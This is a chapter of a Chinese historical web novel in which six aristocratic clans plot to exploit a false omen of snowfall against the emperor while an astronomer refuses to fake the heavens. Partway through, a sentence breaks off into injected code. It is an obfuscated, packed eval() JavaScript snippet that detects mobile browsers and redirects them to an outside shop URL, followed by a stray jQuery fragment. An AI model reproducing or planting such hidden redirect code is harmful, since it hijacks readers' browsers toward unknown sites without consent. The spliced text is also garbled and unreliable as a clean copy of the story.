农历八月十三,连飘了数月的大雪终于得了喘息的一刻。
清晨,侍女缓步走上台阶,忽地被一滴落入后脖颈的水渍,惊得打了个冷颤。她连忙抬头一看,竟然是檐角的冰棱开始化水了。
不待迟疑,她提着裙摆便兴冲冲地小跑进屋内,口中连声喊道:“小侯爷!小侯爷!”
谢英正坐在桌前用早膳,眉宇间凝着一股子似醒非醒的萎靡。听见声音,他不耐烦地咚一声放下碗盏,皱着眉问:“大早上的,吵什么?”
侍女跪在膝前,言语急促地道:“是雪化了……雪化了!天灾马上就要过去了!”她声音里满是藏不住的喜悦,只有一个普通人面对大灾即将过去的憧憬,丝毫没注意到主人顷刻间敛下来的眉头,已经快夹死苍蝇了。
没听见想象中的回应,侍女微微抬起头,余光瞥见立于一侧的侍从使了个眼色,她蓦然抿紧嘴唇,从地上起身,以最快的速度逃离了现场。
“殿下?”侍从五四上前轻唤了一声,“刚才崔氏那边的人捎来口信,说昨日在兰定门看到了嗣后?”
谢英闻言微怔:“嗣后?她出现在兰定门干嘛?她不是胎象不稳吗?”
五四躬身回道:“崔贵妃问过太医署的文掌院,文掌院说是忧思过重,加上之前几次小产伤了身体,所以这一胎很难保得下来。”
谢英眉头微敛,拿起桌上的筷夹,下意识地往桌面轻轻敲了敲,狐疑道:“她莫不是觉着胎象不稳,想着去找个巫医急救吧?”
五四回:“皇后是北黎人。北黎确实有信萨满的传统,兰定门那一带有个最出名的巫医,就是从北黎来的。”
谢英一笑,随手扔开筷夹:“亏她想得出来,要不是前几日进宫瞧见她一副精神萎靡、一蹶不振的样子,我还真以为她是准备临阵脱逃了呢。”
顿了顿,他似乎是想起了什么,偏头看向对方,问:“刚才兰苕说什么?”
五四冷不丁地咽了口唾沫,回说:“兰苕说……雪化了。”
谢英心头一咯噔,旋即长身而起,玄色披风扫过案几,无意间将桌上碗筷连同粥碗一并扫落,顷刻间,碎瓷声刺耳炸开。
他没有在意,大步走到门外去察看,檐下的冰棱果然在滴水。边缘那层薄冰,被云层后面透出的微光映得发亮,一滴一滴往下落,连月不绝的雪一夜间居然停了。
他喉头一紧,实在不知该怎样形容现在的心情。
凛灾要停了,意味着他们筹谋已久的,想用灾星谣言去要挟君主的计策,马上要扑空了。
谢英站在原地愣了一瞬,檐水一滴一滴砸在廊下,他没有慌,转而吩咐五四:“去请陆岩,现在。”
陆岩是他三姐夫。上个月忽然自请辞官回了江都,岳曦宫第二日就换了个北黎来的巫师上任。谢英当时没拦,陆岩的性子他清楚,看着软,骨子里是块沤不烂的硬木头。
一炷香时间,轿子停在了谢府门外。陆岩一身亮红裘衣,踩着小厮的背下了轿,缓步走近,也瞧见了檐下滴水的冰棱。
谢英快步上前问他:“天象如何?”
陆岩:“我是观星的,不是看冰棱的。”
谢英一听没忍住捂着眉头转了个圈,道:“你怎么还是这副样子,你只需要说一句,天象未见异常,不就结了?”
陆岩没接话。
他当然知道谢英要什么。
上个月岳父大人在秣陵请他吃饭。秣陵最好的酒楼,窗对着江。岳父给他斟了一杯酒,说妖星犯紫微的事,他没喝那杯酒。
第二天他递了辞官的折子,理由写的是“旧疾复发”。宫里批了,同日便换了个北黎巫师,接任观象台的钦天监。
他辞官,不是因为怕。是因为他要当爹了。
老大夭折,没活过周岁。老二是个病秧子,药吊子似的养着,三岁了还走不稳。六姓这些年干的缺德事,他离得最近,看得最清。岳父让他观星,观来观去,观的都是人头落地。他不想第三个孩子生下来的时候,他还站在钦天监的观星台上,替六姓编造天象。
谢英转过身来,看着他。
“姐夫。”谢英很少叫他姐夫。
“我不要你编。我只要你一句话——天象未见异常。你说了,今天的事就与你无关。”
陆岩看着檐下滴水的冰棱,水珠一滴一滴落在阶前,他道:“天象是没异常。”
谢英的眉头松了一寸。
陆岩接着说:“因为根本没有天象。夏日飞雪,是冷涡过境,钦天监的旧档里记过。前朝宣和三年六月,江都飞雪三日,宣和七年,飞雪三十五日……”他话音微顿,“江都冻毙者三千七百人。”
六月天,寻常百姓穿着单衣,夜里气温骤降,人在睡梦里冻死,白天被水乡的湿气蚀骨钻心。宣和七年的雪只下了三十五天,冻死三千七百人,这场雪下了三个月,没有人敢统计冻死了多少人,冻死的人太多,甚至连收尸的都冻死了。
陆岩:“都不是天象,是冷涡。”
谢英一听,脸色当即变了:“你跟别人说过?”
“没有。”
“为什么?”
陆岩把目光从冰棱上收回来,看着谢英,道:“因为我说了,你爹我岳父,会让我娘子守寡。”
陆岩没再说话,转过身,往门外走。走到门口,忽然停了一步,没有回头。
他道:“孩子落地之前,我不会再说一个字。孩子落地之后——我看心情。”
轿帘落下,轿夫起轿。
谢英站在廊下看着轿子消失在府外,檐水还在滴。
他听懂了陆岩没说出口的那句话,夏日飞雪不是天象,今天冰棱滴水也不是。从始至终,天没有示警,是人在示警。
陆岩守住了这个秘密,但他不会替六姓圆谎了,孩子落地之前,他闭嘴。孩子落地之后,他可能会张嘴。
谢英把手负到身后,攥紧,又松开。他叫来五四:“去,飞鸽传书给那个巫蛮子。”
北黎巫师叫阿兀术,来都城三年了。陆岩辞官后,宫里把他从太卜署提上来,顶了钦天监监正的缺。
六姓当时没当回事,一个北黎来的蛮子巫师,能翻什么风浪。现在谢英才意识到,这步棋,嗣帝早就埋了。
谢英:“跟他说,明日早朝,陛下会问他天象。他知道该怎么说。”
五四领命去了。
一个时辰后飞鸽传了回来,五四攥着纸条脸色发白。
“他怎么说?”谢英坐在屋内,品了口热茶,问道。
五四眉头紧锁:“……他说,他最近跳大神,不观冰棱。”
“哐当”一声茶盏碎落在地。
谢英攥紧拳头,狠狠砸在桌面上:“好你个巫蛮子,这个时间点给我当圣人?话都从你口中传出去了,还能允许你有反悔的余地。”他咬牙切齿地道。
同样的话,陆岩说,他忍了,阿兀术说,他忍不了。
但眼珠子一转,谢英冷静了下来,他动不了阿兀术。陆岩辞官之后,钦天监的腰牌挂在阿兀术腰上,这个北黎蛮子是皇帝钦点的,打他就是打皇帝。
虽然阿兀术之前自愿把灾星的谣言给散出去了,但也不是长久手段,更控制不住他后面出尔反尔的德行。
更重要的是,阿兀术是北黎人——嗣后的母国。
逼宫的节骨眼上动嗣后母国的人,等于把“构陷”两个字写在自己脸上给全天下看。
谢英起身,站在一地碎瓷中间,忽然想通了一件事。
嗣帝早就知道夏日飞雪不是天象,陆岩能从前朝旧档里翻出冷涡的记录,嗣帝会翻不到钦天监的旧档?
嗣帝只怕会比陆岩更熟悉冷涡的事,陆岩能看得到,嗣帝也看得到。
但嗣帝从来没有戳破。
或许他不是不想戳破,是戳破了也没用。百姓不懂冷涡,只懂雪;六姓要的也不是天象,是借口。
嗣帝等的,是六姓自己露出破绽,而现在,破绽来了。
冰棱滴水,雪有停的迹象,天象的谎言,最怕的不是被戳破,是过期。一旦百姓发现雪停了、天暖了、庄稼能活了,谁还信灾星那套说辞?六姓必须赶在雪彻底化完之前,逼嗣帝动手。
而嗣帝等的,就是他们急。
谢英把靴子从碎瓷上挪开:“备轿。去崔家。”
轿子一路平稳前行,途经大运河,谢英忽然掀开帘子一角瞧。水面之上,舟楫千里冰封,千樯万橹像被冻在琉璃盏里。
他放下帘子,没说什么。
不多时,轿辇行至御柳巷,抬头便见朱门巍然,匾额上高高地题着几个字:“青箱堂”。门口摆着两块方形箱石。
谢英绕过藏书楼,走向后院的一间屋子,崔家老夫人正坐在暖阁里转佛珠。不多迟疑,他坐下身,把陆岩和阿兀术的话娓娓道来了一遍。
崔家老夫人闻言,佛珠慢悠悠转了一圈停了下来,睁开眼只说了一句:
“陆岩留不得。”
谢英没说话。
“不是现在。”崔家老夫人的佛珠又转了起来,补充,“等孩子生下来,母子都留不得。”
谢英心头一紧,忽然想起陆岩上个月辞官,江都的水运道路都被凛灾封死了,他策马前去驿道接他。转眼只见陆岩从某条不知名的小道独自冒着雪蹒跚而来。风雪扑簌簌地落了他满身,像座雪山雕,脸色铁青,嘴唇泛白。
他勒住马,当即破口大骂:“你疯了?有驿道不走?有马车不坐?一个人走野路,嫌死得不够快!”
江都往曲越山以南的驿道是前朝修的,路基坚实,沿途每三十里设一驿站。数十年来,六姓不断修缮,防的就是有这一天。驿道虽不宽,却路基高耸,积雪难存。六姓的马车又是特制的,车轮比寻常的宽出两寸,碾雪而行不易打滑。
而陆岩只牵着马,双脚软绵绵地陷在雪地里,一步一坑,一字一句道:“我没疯,我要当爹了。”
谢英当时只觉哑然。
现在他懂了,陆岩不是疯了,他是算清了账。六姓的船要沉了,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549433|204288||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要在冰面化开,船彻底往下沉之前,带着妻儿从船上逃走。
而自己还高举着火把,站在那道将裂未裂的冰缝之上。
檐水滴落在阶前石板上,水滴石未穿,但一冬一夏,石头总会薄的。
未及午后,世家六姓齐聚在崔宅的花厅里。
陆家二爷端着茶杯,最先开口:“雪不能停。”
谢英坐在身侧,手肘支着脸颊,白了他一眼:“雪不是人能决定下不下的。”
陆二爷当然知道,他的意思是——雪停了,得有别的东西顶上。
“雪停了,但灾星未除。”王丞相慢慢品了口茶,一字一顿,“天象示警,灾异暂歇,若不诛妖孽,必有更大之灾。”
沈家大爷接上:“下一次就不是雪了。是蝗,是旱,是地动,嗣帝看着办。”
崔家老夫人坐在主位,仍旧转着她那串佛珠,语气慢条斯理:“江都的雪停了,不代表秣陵的雪停了。我已经打听过了,秣陵的雪还在同往常一般下,只要这一个地方还在下,我们就有胜算。只是人有旦夕祸福,天有不测风云,一切都得快。”
谢英闻言,摩挲着下巴偏头看她。
这崔家老太太佛口蛇心,看似弱不禁风,其实最毒的就是她,嗣后前几个孩子怎么没的,恐怕只有她最清楚。没了嗣后,对朝中局势最有利的也只有他们氏族了,她那女儿——崔贵妃,可是生了长子。
可大皇子光顶着长子的名头又有何用?皇家向来立嫡不立长,只要十三皇子还在世,崔氏便永远登不上那个位置。
可即便嗣帝再无能,也绝非愚钝之辈。他既然能在六姓的眼皮底下保全十三皇子平安长大,自幼便将其送往太京山抚育,便注定这孩子不是他们能轻易触碰的。
所以这即将出世的第二个孩子,才是真正的心腹大患。万一又是一位皇子,崔氏想要翻盘,便彻底无望了。
一堆出谋划策中,顾家二爷的算盘噼啪响,他低着头抱怨:“我们米行这几个月赈灾的粮食,不知道折出去多少……这该死的凛灾,害得水车都冻住了,米碾出来的量只够从前一成,这群刁民,居然还怪我们不卖粮食给他们……”
谢英听了这话,指腹摩挲着下唇,视线自然向下一瞥,落在了顾二爷袖中那张泛着金光的地契,无语地翻了个白眼。
一个赈灾济民的粥棚,嗣帝用了三千亩水田兑换。顾、陆两家一人一份。顾家碾米的工费,朝廷补给顾家,顾家转手付给陆家,陆家的银号再把银子贷出去,利息滚利息。
谢家分了点米糠,米糠用来养马;崔家啥都没分,但国子监的那块空地,是崔家主动大方腾出来的,现任的国子监祭酒,是崔老夫人的亲生儿子。至于王家,字也不是白题的,百姓端着碗排队领粥,抬头看见王家的落款,嘴里念的是王家的恩。
嗣帝用一张地契,一个赈灾的虚名,告诉底下的人,朕有粮,朝廷有粮。
听着这些人叽里呱啦一堆商讨的话,谢英心念一动。
既然崔氏想要嫡出的储君,陆氏想要盐铁权,嗣帝这些年一直在试探收回盐铁,陆家的银号、码头、漕运全指着盐铁两项活着,嗣帝想动,陆家不让动,僵了好几年。逼宫是一石二鸟之计,既能把嗣后拉下来,又给嗣帝一个敲打,明天我陆家要盐铁权,你还敢不给吗。
顾家更简单,要地。曲越山以南的水田,顾家占了六成,但还有四成在朝廷手里,灾星不灾星的,顾家不在乎。顾家在乎的是朝廷那四成水田,能不能趁这场乱子姓顾。
至于王家不要皇位,不要盐铁,不要田,不要兵,他们要的是填日期的人姓王。史书上这一页怎么写,是“帝惑妖后,六姓匡扶社稷”,还是“六姓构陷皇嗣,帝以身殉社稷”,王家给谁写,取决于谁赢。
沈家嘛全凭一张嘴,五大世家都出动了,他们家如果置身事外,以后哪家还瞧得起他们家族。施粥济民这事,他们可是半点好没捞到。
其余几家的野心和利益都昭然若揭,谢英轻扣着指尖,默然沉吟,唯独不知,他们家族真正想要的是什么?当初掺和进来本是随家里那老头的旨意,他若是想接手家业,只管照着做就是。
现在想来,六姓逼宫总得有个领头人,谁来做这个领头人,自然非谢家不可。
逼宫成,谢家是首功之臣,将来这几大家族各得了势力,都得承他们家的情,可若是逼宫不成,谢家会是第一个被清算的。
但谢英算过这笔账,怎么败?嗣帝能怎么败六姓?米市、河道、银号都牢牢掌控在五大世家手里,各自关上了门。
嗣帝唯一的兵是禁军,禁军里有多少六姓的人,嗣帝自己都数不清。运河封冻,朝廷漕运瘫痪,嗣帝唯一的粮在顾家仓库里,唯一的银子在陆家银号里,嗣帝拿什么翻盘?
所以谢家要的——唯有首倡之功。
是不沾血的名声,是日后六姓分赃时,坐在上首的那把椅子。
谢家要的就是满朝文武,必须从谢家的门槛上跨过去,才能碰到那把椅子。